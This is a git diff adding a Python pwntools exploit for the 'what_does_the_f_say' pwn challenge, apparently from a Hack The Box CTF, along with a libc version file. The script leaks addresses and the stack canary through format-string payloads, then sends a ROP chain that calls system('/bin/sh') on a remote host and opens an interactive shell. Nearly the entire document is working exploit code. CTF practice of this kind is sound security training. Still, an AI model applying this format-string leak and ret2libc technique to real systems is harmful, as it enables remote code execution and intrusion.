added all ctfs

htb/challenges/pwn/what_does_the_f_say/exploit.py

@@ -0,0 +1,62 @@
+from pwn import *
+
+def pop_rdi(binary_base, value):
+    payload = p64(binary_base + 0x18bb)
+    payload += p64(value)
+    return payload
+
+def scan_money(p, start):
+    log.debug(p.clean().decode())
+    p.sendline(b"1")
+    log.debug("Sending 1")
+    log.debug(p.clean().decode())
+    log.debug("Sending 2")
+    p.sendline(b"2")
+    log.debug(p.clean().decode())
+    payload = "|".join(["%{}$p".format(i) for i in range(start,start+3)])
+    log.debug(f"Sending payload: {payload}")
+    p.sendline(payload.encode())
+    leak = p.clean().split(b"|")
+    log.debug(leak)
+    index_message = leak[2].find(b"\n\n")
+    if b"You have less than 20 space rocks! Are you sure you want to buy it?" in leak[2][index_message:]:
+        p.sendline(b"no.")
+        log.debug(p.clean().decode())
+    leak[2] = leak[2][:leak[2].find(b"\n\n")]
+
+    return leak
+
+
+with remote("167.99.85.216", 31511) as p:
+#with process("./what_does_the_f_say_patched") as p:
+    leaks = []
+    for i in range(8):
+        print(f"\rScanning {i*3}-{i*3+2}", end="")
+        leaks += scan_money(p, i * 3)
+   
+    print(leaks)
+    leaked_libc_addr = int(leaks[3], 16)
+    libc_base = leaked_libc_addr - 0x110191
+    canary = int(leaks[13], 16) 
+    leaked_binary_addr = int(leaks[15], 16)
+    binary_base = leaked_binary_addr - 0x174a
+    print(f"__GI___libc_read: {hex(leaked_libc_addr)}")
+    print(f"libc base: {hex(libc_base)}")
+    print(f"canary: {hex(canary)}")
+    print(f"leaked_binary_addr: {hex(leaked_binary_addr)}")
+    print(f"binary_base: {hex(binary_base)}")
+    p.sendline(b"1")
+    p.clean()
+    p.sendline(b"2")
+    p.clean()
+    p.sendline(b"1")
+    print(p.clean())
+    execve_addr = libc_base + 0xe4e90
+    puts_libc_addr = libc_base + 0x080a30
+    bin_sh_string_addr = libc_base + 0x1b40fa
+    system_addr = libc_base + 0x04f4e0
+    payload = b"\x90" * 0x18 + p64(canary) + p64(0xdeadbeefdeadbeef) + pop_rdi(binary_base, bin_sh_string_addr) + p64(binary_base + 0x1016) + p64(system_addr)
+    log.info(payload)
+    log.info(len(payload))
+    p.sendline(payload)
+    p.interactive()

htb/challenges/pwn/what_does_the_f_say/libc.so.6

@@ -0,0 +1 @@
+libc6_2.27-3ubuntu1.2_amd64.so